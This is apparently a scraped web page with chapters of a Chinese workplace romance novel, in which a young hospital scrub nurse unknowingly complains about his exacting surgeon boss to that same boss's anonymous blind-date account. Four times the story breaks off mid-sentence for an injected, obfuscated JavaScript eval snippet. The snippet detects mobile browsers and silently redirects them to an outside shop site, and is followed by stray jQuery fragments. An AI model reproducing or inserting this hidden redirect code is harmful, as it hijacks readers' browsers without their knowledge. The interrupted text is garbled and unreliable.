人经常会出现一些错觉,比如说有人在看自己,有人在叫自己,从医学上解释这都是在周围环境或者心理状态等因素的影响下,神经高度敏感时产生的短暂感知异常。
有时的确有人看,但大部分时候没有。
也许他最近工作连轴转有点太累,感知异常吧。
他不敢再在手术室里和叶竹聊领导的事情,安静吃完饭后就靠在墙边休息。
晚上照样是加班到八点多才能回家,值得开心的是明天周末,他可以去父母家里安心当米虫。
唔,前提是他爸妈别总催婚把他烦走。
得知能下班后他简直神采飞扬,身上的班味一扫而空,明亮的大眼睛里盈满了笑意,开心地跟手术室里的其他人说再见。
傅湘萍见状笑问:“小钰今天这么开心呀?”
俞钰也不掩饰:“周末了,当然开心。”
他就不信手术室里有人会不开心。
傅湘萍自然也开心,甚至都有心情打趣俞钰。
“这么开心,是不是要去见相亲对象,继续发展?”
俞钰的笑容有一瞬间僵硬。
哪还有什么相亲对象,目前为止看起来最靠谱的第四位相亲对象前两天刚用冷处理的方式回消息,看起来非常不想继续。
但他无意跟同事解释这许多,又撑起笑容说:“是呀,努力努力吧。”
因为估计他爸妈很快会给他再介绍一个。
唉,想起相亲,忽然觉得周末也蒙上一层阴云。
他郁闷地站在电梯旁一边等电梯一边刷手机,察觉有人走到身边,他也提不起兴致打招呼。
直到电梯停靠楼层的“叮咚”声响起,俞钰才收起手机抬头。
然后他看到秦禾笙站在身边。
想到刚刚把领导晾在旁边那么久他很是心虚,在走进电梯里的时候主动喊:“秦医生。”
秦禾笙表情平静地点头,跟他一起走进电梯后站在楼层按键前问:“几层?”
“地下三层。”俞钰想到这里弯眼笑:“我今天开车了。”
不用坐秦禾笙的车。
少年人的笑容干净清隽,让原本昏暗的电梯明亮很多。
秦禾笙移开眸子,看着电梯的镜面墙壁淡声问:“你周末要去相亲?”
俞钰的笑容几乎瞬间消失,差点变成苦瓜脸。
怎么这些领导,一个两个的,都那么关心手下人相亲问题。
还是说不成个家,他们会担心下属的工作稳定性?
也有可能吧,毕竟拖家带口的牛马才更好使唤,因为要养家不敢辞职。
一个人吃饱全家不饿的单身汉就不一样,不爽了直接炒领导鱿鱼。
“应该吧,再接触接触。”
是的,可能要再接触接触新的相亲对象。
秦禾笙没有说话,电梯内气氛冷下来。
直到二人都来到地下停车场,秦禾笙才问:“你喜欢相亲么?”
俞钰不懂秦禾笙为什么问这个问题,不过还是回答:“谈不上喜欢或者不喜欢,就是很多人都会被父母安排着去相亲的吧,我也只是随大流而已。”
说到这里,他难得有几分胆量去开领导的玩笑:“而且秦医生你好像也在相亲,可能大家感觉都差不多吧。”
他说完后不知道是不是错觉,秦禾笙身上的温度好像又低了几度。
“我不喜欢相亲。”秦禾笙淡漠地说:“相亲就像是将所有一切外在条件放在称上,称斤论两,让两个没有丝毫感情只是条件相配的人勉强在一起。”
“实际意义和情绪价值都是零。”
俞钰眨了眨眼,是他的错觉吗,怎么秦禾笙似乎对相亲这件事情有些怨气在。
他小心翼翼地问:“秦医生是有过不愉快的相亲经历吗?”
“谈不上不愉快。”秦禾笙觉得他的情绪起伏有些大,深呼吸后平静回答:“我原则上拒绝所有相亲。”
“哦。”俞钰摸摸鼻子笑道:“秦医生事业有成肯定自己说了算,但像我这种刚毕业还靠着家里的人,肯定没那么好意思拒绝父母提出的相亲要求。”
“所以你其实也不想?”
“谈不上不想,无所谓吧……觉得去去也没什么,如果碰到合适的不反对试一下。”
就是偶尔遇到烂人的时候有点影响心情,其他都还好。
毕竟他工作也很忙,父母不会每天夺命连环催,也不会遇到一个人不管对方人品如何就催他在一起,赶紧搞定人生大事。
总的来说,在可以接受的范围内。
说话间已经走到俞钰车前,秦禾笙抬眸看着他。
俞钰下意识地回望对方。
秦禾笙的眸色深沉,好像能藏住很多情绪,又好似一汪寒潭,波光粼粼,让人忍不住想要凝视其中。
对视片刻后,秦禾笙移开目光淡定道:“周末愉快。”
俞钰下意识回答:“周末愉快。”
等坐进车里后他挠了挠头,忽然反应过来。
好像是一个没注意,让领导送他上车了?
所以他果然是没有眼力见,一点都不懂送领导上车的牛马。
唉,职场真难,一不小心就成了使唤领导的牛马。
所以不会做向上管理的咸鱼,还是最适合在人际关系方面摆烂。
他坐在驾驶座的位置上,决定忘记刚才跟秦禾笙的对话,打开导航直接开去爸妈家。
**
周六一早,俞钰终于幸福的睡到自然醒。
他起床走到楼下,在客厅看到一个多月不见的亲哥哥崔钰。
崔钰正坐在客厅沙发上刷短视频,听到身边的脚步声后笑着对俞钰说:“你这个点起,应该是能赶上午饭。”
“好饿。”俞钰从茶几上拿了点坚果吃,吃的时候又控制不住打了个哈欠:“哥你这周末休呀?”
“能休个一天半。”崔钰的小习惯跟叶竹差不多,也伸手揉了揉俞钰柔软的发丝,“上次有人骂你的事情怎么样?”
提起这件事,俞钰的表情古怪了些:“他这周态度莫名其妙变好了。”
不是只对他一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998451|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个人,是对所有人的态度都变好了。
他不靠谱地猜测:“也许是良心发现,开始修身养心?”
崔钰一口否决他的猜测,“会骂人的大龄主治不可能良心发现,他根本就没有心。如果他态度忽然改了,那大概率是惹到不该惹的人,踢到铁板被收拾,最近夹着尾巴做人。”
俞钰一想,好像的确这个可能性更高些。
鲁嵘到底惹到谁了?
俞钰把手术室里的医护想了一通,但毫无头绪。
“算了不管,无论他是什么原因夹紧尾巴做人,只要做人就好。”
他要求不高。
崔钰笑,又抓了一次俞钰的头发:“嘟嘟还是这么可爱。”
俞钰把崔钰的手拿下来,无奈道:“哥你别抓我头发,小心抓秃了。”
“你是器械护士,不像医生整天还要做项目搞研究,怎么会被抓秃?”
“器械护士也要学习。”俞钰强调:“我最近背器械,听人讲解那些器械的用途,有好几次做梦都是器械什么用途,被吓醒了。”
简直是不能更可怕的噩梦,被卷王支-配太恐怖了。
崔钰抓住重点,好奇问:“谁给你讲呀?你们科室对新人这么友善,还能耐心讲解器械用途?”
“秦医生。”俞钰顿了下,怕崔钰不知道秦医生是谁,说得更直接点:“就是那个骨科卷王。”
崔钰听说过骨科卷王秦禾笙,据说是个工作狂外加手术机器人,经常一天做十来台手术。
忙成这样,会有时间和耐心教导新人?
“他那么友善?”崔钰不太信,“难道不应该是训斥一通让你自己私下去自学吗?”
他们科室都是这样呀。
医院是职场,除了带教医生外其他人没义务教别人专业知识,能指导怎么学去看哪本书已经算是友善的了。
“说倒是说过两句。”俞钰还记得秦禾笙一开始那种几乎针对他的指责,“也让我自己去看书。”
“看了吗,有没有不懂的地方?”
俞钰老老实实回答:“没看,他说的书太难了,我不想当骨科医生就懒得看。”
这很符合俞钰的性格,崔钰一点也不奇怪,只“噗嗤”笑出声,伸出手指点点俞钰的额头:“不想看就算了,不用听秦禾笙的,他只会让人卷些没用的东西,浪费时间又毫无意义,还要求特别严格。”
俞钰被逗笑,他简直不能更爱听崔钰吐槽秦禾笙。
他好奇问:“哥,你认识他呀?”
“不太认识,点头之交。”崔钰回答:“只听我带的规培牲抱怨过,好像是个脑子有点大病,卷得身心不健康的人。”
俞钰就爱听别人吐槽他领导,领导就是用来被牛马吐槽的。
无论这个领导好不好,每个被压榨的牛马总能找出抱怨的地方。
他非常认同地点头:“对,他就这样。”
脑子有点大病的样子。
特别是今天还跟他讨论什么相亲,讨论就讨论吧,说到最后脸色那么难看干嘛。
分明是秦禾笙提起的,最后生气的人也是他。
俞钰只能认为,也许卷太多了脑子不正常。
13.半大
兄弟二人的对话,以崔婧叫他们去厨房帮忙告一段落。
俞钰的父亲俞建呈年纪大了,调到郊区的分院当院长,就正好在分院旁边买了一套复式,一家四口都能有自己的单独房间。
平时这里只有俞建呈和崔婧二人住,俞钰和崔钰都住在市中心离医院近的地方,方便下班早点回家休息。
当然,也方便加班的时候赶去医院。
他们兄弟俩一个医生一个护士,都在同一家医院工作。
不过他们平时在医院里没什么联系,又不是一个姓,也没人会觉得他们认识。
俞钰和崔钰之间差了七岁,算是年纪差得比较多的兄弟。
崔钰是长子,培养的时候崔婧二人几乎倾注了所有心血,崔钰从小就被养成良好的学习习惯,成绩一路名列前茅,最终考到最好的医学院里,本博八年制。
而俞钰的出生是个意外。
崔婧夫妇本来没想要二胎,觉得一个就够累了,可是后面意外有了俞钰又舍不得拿掉,拼着交罚款最后生下来。
生俞钰的时候他们夫妇岁数已经有些大,没有精力再养一个,就请老人和阿姨一起养着,没怎么自己带过只给些钱,觉得不出大差错就行。
他们两个,就是老大照书养,老二照猪养的典型。
直到一晃眼老大念了医科,老二慢慢长大,他们才发现家里老二有点不太行呀,学习不好干啥啥不行,就想躺平。
叛逆谈不上,就是懒,懒到差点高中都考不上。
崔婧夫妇这才察觉出问题,开始死命抓俞钰的学习,终于把他的成绩抓到本科念了护理专业,毕业后成为一名器械护士。
只可惜已经养成的习惯改不了,成绩也不可能像哥哥那么好了。
他们看到老二的成绩,再想想老大的,觉得这些年太过忽视老二,亏待了他十分愧疚。
这种愧疚变成一种金钱弥补。
他们只给崔钰出了买房的首付,让崔钰自己还贷,给俞钰的是一套全款房子和一辆全款车。
好在崔钰神外医生收入高,再过不了几年就能全部还清贷款,这种事情也不会影响兄弟俩的感情。
吃午饭时,崔婧果不其然开始提起他相亲的事情。
“嘟嘟呀,跟这一个谈得怎么样?”
这一个是哪一个,怎么跟菜市场挑大白菜似的。
俞钰内心吐槽,还是老老实实回答:“不太好,他好像对我没什么兴趣不想相亲。”
“别放在心上,拉黑就是了。”崔钰安慰他,“嘟嘟还小以后会碰到很多人,有很多机会。”
“拉黑倒也不至于。”
聊不来而已,对方交谈的时候很有礼貌拒绝的时候也很委婉,他没生什么气,就是有点惋惜。
难得在相亲的时候遇到一个正常人,结果对方不想谈。
所以果然会去相亲的,要么有点硬伤,要么不想谈被逼着来当演员。
崔婧一听立刻说:“嘟嘟呀没事,妈再给你介绍一个。”
“我记得张奶奶的外孙好像跟你年纪差不多来着……”
“别了吧。”俞钰苦着脸拒绝:“我还这么年轻,用不着一直相亲,真的相累了。”
崔钰也在旁边帮腔:“是呀妈,嘟嘟还小用不着这么着急,找不找都无所谓,别强迫他这种事情。”
“我这还不是担心么。”崔婧一脸无奈,“一天天听你爸说小菜花和A字头的病都是同群体多,肛-肠科夜间急诊都是那些玩大了的,总喜欢挑战人体极限。”
“嘟嘟要是不固定找一个,怕他出去乱玩。”
俞建呈忽然之间被点名,咳嗽两声澄清道:“我说的那都是喜欢乱玩的人,嘟嘟很乖。”
“你高估嘟嘟了,他没那么勤快。”崔钰说得更直接:“周末肯定只想在家躺着,没有闲情逸致出去玩。”
俞钰:“……”
这还真是他亲哥,敢这么不给面子,当然也说得完全正确。
大好周末躺家里不行吗,出去约会多麻烦。
崔婧被逗笑,想了想觉得也是,就暂时放过俞钰,转而问崔钰:“那你呢,什么时候带回来一个给我看看?之前给你介绍个女孩子,结果你去相亲的时候顶着两个大大的黑眼圈,头发三天没洗,把人家姑娘给油走了。”
“哥,你还有这种八卦?”
俞钰睁大眼睛好奇地看着崔钰,格外想听崔钰的八卦。
崔钰又好气又好笑地瞄了俞钰一样,在亲弟弟的头发上抓了一把才说:“妈,那个时候过年值班的医护少,我在医院住了三天,每天只睡五六个小时,几乎眼一睁就要开始做手术,哪来时间注意那么多,值完班后能去相亲不放人鸽子已经是最大的尊重了。”
听到这里俞钰有点同情崔钰,听说过年值班的确很辛苦,这种时候还要被抓壮丁去相亲。
是有亿点点可怜哦。
他悄悄给崔钰夹了一块排骨。
多补补别累瘦了。
崔钰在桌子下面踹了俞建呈一脚,示意当爸的干点活,不要在一旁看戏。
俞建呈接到求救,咳嗽两声尝试转移话题:“那个,嘟嘟呀,最近在医院里工作如何?”
俞钰心情复杂片刻,还是选择报喜不报忧:“还不错。”
是不错,除了偶尔遇到脑子有病的领导,推诿责任的同事外都没什么不好。
说起工作,崔钰又想到一件事。
“医院最近好像要来两三个关系户,刷简历来的,有个下周到我们科室,骨科那边过段时间应该也会去一个。关系户来了多半是在一边看不用管,如果他干扰你工作你就怼回去。”
“不要怕关系户,我们也是关系户。”
俞钰强调:“我是凭实力进去的。”
崔钰好笑地揉着俞钰的头发:“嘟嘟是凭实力进去,但被欺负了我们可以凭关系。”
俞钰摸了摸良心,还是没好意思说秦禾笙欺负他。
严格来说秦禾笙这几天也没怎么为难他,只是打工人吐槽上司已经成为本能。
“现在也没什么人欺负我。”
俞钰不担心关系户的事情,因为医院关系户遍地,能进他们医院的最起码都得有个国内数得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002989|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上号的导师,谁还不是个关系户了。
所以一般关系户都比较低调,来了也就是在手术室里当个最不重要的助手混经验。
**
周末,秦禾笙早起跑步,洗过澡吃过早饭后在家整理书柜,看到书柜上的骨科手术器械介绍书籍,觉得应该很适合俞钰,可以送给对方看。
他拿起手机,想点进群里加俞钰好友时,昨晚对方说过的话从他耳边晃过——
“谈不上不想,无所谓吧……觉得去去也没什么,如果碰到合适的不反对试一下。”
秦禾笙忽然没了加好友的心情。
不知道跟俞钰相亲的人,是个怎么样的女孩子。
俞钰自己看起来还是个半大的男孩子,这样的人,真的会跟别人谈恋爱么。
秦禾笙站在原地对着书看了片刻,还是没有去加好友。
**
俞钰周一下班去更衣室拿包的时候,就听到傅湘萍告诉他一个实在说不上是好消息的消息。
周末刚说秦禾笙没怎么为难他,真的说早了。
因为秦禾笙让傅湘萍交给他一本书——
《骨科手术器械图谱》
是一本很适合他现阶段看的书,还真让他连拒绝的理由都没有。
为什么要送他书,为什么要带着他一起卷。卷王自己卷不就好了吗,干嘛拉着他一起,为什么不能尊重他人命运。
可是他能说不要吗?
不能。
领导好心送你一本专业书,不要就是你不识相,不看也是你不把领导的一片好心放在眼里。
但是他真的不想看,平时早八晚八的工作已经耗空血条,回家真的没力气继续学习,只想躺平。
看着傅湘萍手里的书,俞钰只能露出一个比哭还难看的笑容:“谢谢傅姐,也帮我谢谢秦医生。”
开车回家的路上他越想越郁闷,领导真的会push到这种程度?
会不会太奇怪了点。
到家后他把叶竹从列表里拖出来问:卷王会给你送资料,让你看吗?
叶竹:当然会呀!
叶竹:他给了一堆论文,说是方便我更好了解骨科手术,让这周四之前看完
叶竹:看得我累死,到现在也没啃完三分之一,太恐怖的论文厚度了,我一点也不想向厚看
俞钰:“……”
没错了,不愧是毫无人性的卷王,生怕手下人用没有这本书做理由表示不看,直接送到手边让你没有拒绝的理由。
休息时间只想躺平的俞钰表示,真不想看呀。
他苦着脸把书放在床头柜上,想着要不然还是翻看两页,省得下次被问起来的时候还是“没看”两个字的尴尬,影响他实习期考评。
他刚入职,实习期还有五个多月,不能被领导记一笔。
去洗漱的时候他在想是不是要加秦禾笙好友说一下书的事情,领导送书不表达感谢会不会不礼貌。
但洗完澡他实在太困只想睡觉,没力气再找领导聊。
还是明天手术室里有空再说吧。
他想着。
14.太多
次日又是秦禾笙的手术日,手术排得非常密集,密集到俞钰毫无喘息时间,午饭都是五分钟搞定,吃完后赶紧上台,因为下一位患者马上就要被抬进来。
这种高强度的工作下他也没空问秦禾笙什么,做完当天的最后一场手术才松了口气。
手术室里的医护开始做收尾的工作,把一次性用品扔到垃圾桶,用过的器械送到供应室消毒,再从供应室领取消毒完的器械包,等明天手术用。
骨科器械大多又沉又重,这些器械没点力气真拉不动,所以骨科的器械护士很多都是男性。
叶竹只要在手术室就会帮俞钰搬器械,今天做完手术他也帮放器械,一边放一边开始聊天。
“周末回家怎么样,家里有没有又问你相亲进展?”
“当然问了。”俞钰叹气,“怎么可能不问。”
“那你怎么说的?”
“照实说的呗。”俞钰耸肩,总的来说他还是个乖孩子,没有太多欺骗父母的习惯,“说聊不来,对方大我太多,可能嫌弃我太小太幼稚或者就是单纯不想谈,拒绝我。然后说开了,我父母也决定暂时不勉强……”
秦禾笙站在俞钰身边不远处,跟一助讨论今天手术的事情。
他不是有意偷听俞钰跟叶竹聊天,但手术室就这么大,两个人聊天也没有避讳谁,声音还是断断续续飘到他耳朵里。
“……大太多……拒绝我……”
俞钰在跟大他很多的女性相亲?
这件事情听起来很奇怪。
秦禾笙皱着眉头,直觉这里面有不对劲的地方。
一般来说俞钰这么大的男生都是跟同龄的女生相亲,不会跟大太多的人相亲。
只是秦禾笙自己没有多少相亲经验,一时之间没想透这其中的不对劲。
**
好不容易做完手术室的收尾工作,俞钰下班回家看到卧室床头柜上的半个板砖,终于想起要问秦禾笙的事情。
他想了想,还是去群里把秦禾笙的账号找出来添加好友,验证消息里就说:秦医生,书收到了
**
做完手术后,器械护士俞钰可以回家,秦禾笙还不能回家。
他放心不下病房里的病人,又去病房查房一次。
他查完房走进副高办公室时,何副高正在打电话。
“什么,你表弟跟男人相亲,最后俩人在餐厅大打出手进警-察局?这信息量也太大了吧。”
……
“让我去保释?”
……
好像有一道雷劈进秦禾笙的脑子里。
相亲对象不一定是女性,也可以是男性。
虽然现在同性婚姻已经合法,但异性恋毕竟还是主流,所以他就先入为主地认为俞钰的相亲对象是女性,从没想过男性这个可能。
如果俞钰的相亲对象是男性……
很多事情忽然对上了。
二十来岁刚毕业的小男孩,跟俞钰一个年龄;医学相关专业,护理也算是医学相关专业。
“不要叫我小名”找他抱怨主刀骂人的那天,俞钰也在手术室里被骂了。
他那天看到俞钰心情低落,过后有问过傅湘萍是怎么回事,对方告诉他鲁嵘在手术室里骂人,才有他去找吕主任说事情。
俞钰在跟大太多的人相亲,他的确比俞钰大了十岁。
虽然他认为说不上“太多”,但也是大。
说不定……俞钰就是“不要叫我小名”。
抱着万分之一的可能,他立刻拿出手机点进工作账号的手术室工作群,翻动群成员列表,看到最新加入的备注名为“俞钰”的账号。
他顺着群聊点开这个账号,发现账号的昵称是“不要叫我小名”,头像跟“不要叫我小名”一样,都是卡通动漫人物。
一切都对上了,虽然从科学严谨的角度讲,“不要叫我小名”是俞钰本人账号的可能性为99.99%。
还需要他加好友验证账号。
他深呼吸,先退出群聊思考下一步该怎么办。
退出群聊后,他看到工作账
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006973|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
号上又有一些好友添加申请,决定先处理事情再慢慢思索接下来的该怎么办。
只是点开好友申请列表,他第一眼就看到俞钰发送了一条好友添加申请,备注是:秦医生,书收到了
他的手指先大脑一步通过这条申请,证明他潜意识里早就决定要这么做,只是通过后该说什么还没想好。
他脑海中闪过很多种方法,却无法理智地筛选出一个最优解。
最终,他先低头用工作账号回复俞钰的消息:好的
秦禾笙:希望对你有所帮助
俞钰正在刷手机,很快就看到消息。
虽然秦禾笙回消息的语气很客气,客气到堪称是彬彬有礼,不符合通常情况下领导跟下属说话的语气,但俞钰还是很无语。
这是帮助的问题吗?
分明是没人想做课后作业的问题吧。
他都上班了,可不可以取消课后作业……
唉。
卷王跟咸鱼的思路,永远不在一条线上。
而且他何德何能,让领导亲自送书。
俞钰:[黄豆微笑]
俞钰:谢谢秦医生的书
俞钰:我会好好看
可真是谢谢你啊。
俞钰郁闷得把手机扔到一边。
领导什么的,尤其是卷王领导,真讨厌。
干嘛一直催人卷。
他觉得这半个板砖最好的去处就是盖泡面。
但他看了一下厚度,好像确实不能盖泡面,容易把脆弱的一次性泡面碗压塌。
俞钰:“……”
真是什么用都没有,垫桌脚都嫌高。
他无力吐槽,拖延症发作决定今天也不看。至于什么时候看就按他心情来吧。
**
那边,秦禾笙又点开私人账号,看到他和俞钰最后的聊天记录——
不要叫我小名:你说领导都那么恶劣吗,喜欢开下属的玩笑
此号不看病:抱歉,在忙
时间是上周二的晚上。
15.诈尸
沉默。
秦禾笙看着消息,陷入很长一段时间的沉默。
他难得有这么迷茫,不知道该怎么办的时候。
要和俞钰坦诚吗,告诉对方“此号不看病”是他的私人账号。
最初他只有一个私人账号,但工作后需要接触到的人越来越多,就建了工作账号,不想把工作和私人生活混为一谈。
彭教授默认相亲是私人的事情,就给了他的私人账号。目前骨科在职的同事里,只有俞钰一个人加了他的私人账号。
如果他不说,俞钰不会知道这是他的号,两个人在见面前的试探聊天已经终止在他说“忙”的那一刻。
成年人都懂委婉的拒绝是什么意思,俞钰也不是个毫无情商的愣头青,因为对方今天快下班时说觉得没希望,显然是听懂他话语背后的含义。
这件事情,只要他自己当做无事发生,就可以真的无事发生。
秦禾笙垂眸看着屏幕,指尖缓缓划过屏幕上的字。
这好像是一场十分艰难的抉择。
承认吗,坦诚吗?
**
俞钰洗完澡拿着手机躺在床上开始查阅消息,有好几条居然是来自于那个他以为都已经没有缘分的相亲对象。
此号不看病:抱歉,上周一直很忙
此号不看病:你是不是在工作中遇到了不友善的领导,可以讲讲吗?
俞钰看到消息时情不自禁地揉了揉眼睛。
怎么第四位相亲对象给他发消息,忽然诈尸?
难道真的是上周太忙,所以没空回他的消息,理会他的抱怨?
作为一个也非常忙的骨科一线医护,俞钰理解医护忙的状态,一睁眼就全都是病人的事情。
有的时候医生刚坐电梯上楼还没来得及去办公室放包,病房的护士打电话说病人有危险,医生只能背着包连白大褂都来不及穿,就要冲过去抢救。
这就是一线医护的日常。
如果碰到科室里重要人物,尤其是做手术的重要人物不得不请假,那大家就要忙疯了,脚不沾地住在医院都不夸张。
比如说上次,那位郑呈益医生请假住院的时候其他医生就忙得要命,工作量几乎翻倍。
一直在手术室的器械护士感觉不明显,因为谁做手术都是手术,他们只需要做好配合就可以,原先排的那些手术不会变。
但当医生的感觉非常明显,他们不仅要做自己的工作,还要抽出空帮郑呈益做手术,帮他查房和处理病人的事情,忙得几乎没有时间喘气。
这种情况下,别说跟不认识的相亲对象闲聊,领导的消息都不一定有时间回复。
唔,说起来郑呈益也挺惨。
据说是当晚被家里的一儿一女拉出去吃夜宵,也不知道吃了什么科技食物,或者也许感染了诺-如。
反正结果就是人当晚直接拉到虚脱,电解质流失过多,半昏迷状态被送去医院急诊挂电解质并且经历了一系列急救,两天后才能从病床上站起来重新开始查房,甚至还没力气做手术。
听说郑呈益住院的时候,无数认识他的医护都跑去围观还毫不客气地送上嘲笑,笑他一个医生怎么这么惨,拉得毫无形象。
事实证明,医生病了也毫无形象可言。
唔,“此号不看病”是不是上周也碰到同事生病的大事件,然后没时间。
会不会是跟郑呈益一样的病?
俞钰发散思维想着。
他低头看屏幕上的消息,又在思考另外一种可能。
对方上次的委婉拒绝会不会是对他没兴趣要接触其他人,不想做时间管理大师不想养N个备胎,就直接把他拒绝了。
后面也许是发现原本想接触的人不怎么样或者有大毛病,就掉头回来找他。
不能怪俞钰多想,因为相亲里真的有很多坑。
相亲的介绍人只看外在条件,不会管对方是不是喜欢脚踩很多条船,这都需要自己去了解。
俞钰也有这方面的顾虑,因为他之前几个相亲对象真的坑太多。
看外在条件是挺好,看内在……唔,可以说毫无内在。
当然很忙也不是不可能,他能理解一线医护的忙碌。
很多时候亲爸妈的消息都懒得回,更别说还不太熟的相亲对象,这周能想起来应该是还想继续聊下去。
纠结片刻,俞钰的手无意识放在床头柜上,恰好压到秦禾笙送的那本大厚书。
他低头看了眼厚度,实在是让人眼晕。
……这个领导,不吐槽的话他憋着实在难受。
不管了,先跟对方聊聊,聊聊也不亏,跟人吐槽也是一种解压的方式,而且超级有用。
反正对面的人目前应该不知道他具体在哪里工作,不认识他吐槽的领导。
只要说的时候不带大名就没什么问题,毕竟外人不会知晓那么细节的事情。
抱着这样的想法,他先确认什么似地问:这几天不忙了吗?
此号不看病很快给他回:现在还好,准备下班
此号不看病:那天是怎么回事,有领导为难你么?
现在想起上周二的事情,俞钰还是会气得牙痒。
人怎么能可恶成这样。
他想着,手又摸到秦禾笙送的那本书上,新仇旧恨加一起,他气愤地打字:那天晚上聚餐,我不幸跑慢了一秒,最后沦落到跟领导一起回家
不要叫我小名:那个领导超级恶劣,故意看我笑话,故意逗弄我,就是看我新人脸皮薄
秦禾笙独自坐在办公室里看着俞钰发的消息,表情十分沉默,连办公室里都是死一般的沉默和安静。
现在早就过了医院正常的下班时间,副高办公室里的其他人都已经离开,秦禾笙原本想在办公室再做些文字工作,但此时第一次没了心情。
如果他没有失忆,脑子没有记错的话,那天晚上俞钰是跟他一起回家。
他当晚也并没有做出任何可以称之为恶劣的事情,不仅贴心地把人送到小区门口,还在发现对方包落在车上时送过去。
他没有故意笑话,更没有故意逗弄。
好吧他承认,当时看到俞钰离开他的车以后蹦蹦跳跳很开心,看到他出来送包又纠结不安,咬着嘴唇,大眼睛里满是别扭的样子很好玩,十分有反差对比。
他起了几分玩笑的心思,但那真的就只是个无伤大雅的玩笑,并不恶劣。
但怎么会被理解成这样。
有那么恶劣?
秦禾笙再努力回想他当时的所作
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011845|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所为。
他非常肯定没那么恶劣。
原本他只想知道俞钰口中恶劣的领导是谁,没想到竟是他自己,吃瓜吃到自己身上。
而且他的记忆好像出现错乱,他印象中的事件跟俞钰记忆里的事件是完全不同的感觉。
思前想后,他敲打文字给俞钰回消息:会不会理解错了,或者这其中有什么误会?
俞钰看到这句话,气得差点戳烂屏幕:没理解错,绝对没有误会
不要叫我小名:你没看到他当时的表情,特别恶劣,仗着自己是领导经常欺负职场新人
不要叫我小名:他就是这么讨厌的人
秦禾笙:“……”
又是沉默,死一样的沉默。
他真不觉得自己欺负过俞钰。
也许最开始提醒过两句,但那跟欺负没关系,只是正常的工作中提醒。
他说过的人很多,都算上欺负吗?
秦禾笙不知道该怎么说。
原来他在俞钰心中是这么恶劣的人,如果不是这次乌龙事件他压根都无从知晓。
秦禾笙心情复杂地试着给自己辩解一二:或许不是恶劣,不用过度解读他没有恶意
俞钰皱眉看着屏幕上的消息。
怎么,这第四位相亲对象终于也开始慢慢不正常了吗。
为什么呀。
抱怨这种事情,难道不应该帮亲不帮理?
还是说对方其实知道他是谁在哪工作,认识他的领导,所以一直替领导说话?
这个想法让他在大夏天里吓出一身冷汗,连忙发消息问不知道睡没睡的崔婧。
俞钰:妈,你有没有跟之前那个相亲对象说过我的名字和工作单位
万幸的是崔婧还没睡,收到消息后立刻问:之前哪个相亲对象?有好几个
俞钰:第四个
崔婧:那个呀,没说过,就只说了你姓什么,学的什么专业,多大年龄这样
崔婧:介绍人好像也不太关心工作的事情,只要了你的联系方式说先聊着,聊得来一切条件都不是问题
崔婧:据介绍人说对方条件挺好的收入很高,所以也不太在意外部条件,谈得来更重要些
俞钰看到后松一口气,连他的全名都不知道,应该更不能知道他在哪工作以及领导姓甚名谁。
可能单纯就是共情领导?
三十来岁的医生,如果爬得快是有可能做到副高的位置,看卷王就知道了。
俞钰越想越觉得有可能。
条件好收入高,做医生的要当领导才会条件好收入高呀,住院医苦哈哈哪来什么高收入。
难怪一直向着不做人的领导说话,估计自己就是个领导。
俞钰开始打字:我知道了,算算你的岁数应该也是当领导
不要叫我小名:很能共情领导
不要叫我小名:建议多找领导聊聊,不要找我这种刚开始打工的牛马
他承认这有点迁怒,但本来就是相亲对象聊不来还是不勉强。
秦禾笙看着屏幕上的字看了很久时间,深呼吸后发:抱歉,是我考虑问题的角度有问题
此号不看病:不应该考虑事物的复杂性
此号不看病:他就是一位非常恶劣的领导
16.秃头
俞钰看着屏幕上的字并没有开心,甚至觉得有些奇怪。
这个“此号不看病”怎么忽然改换观点,向着他说话了。
不要叫我小名:你为什么忽然说他恶劣了?
不要叫我小名:站在你的角度考虑看,应该十分恶劣
秦禾笙坐在办公室里,已经彻底没有继续工作的心情。
是他回的哪里不对,漏了马脚或者让人讨厌。
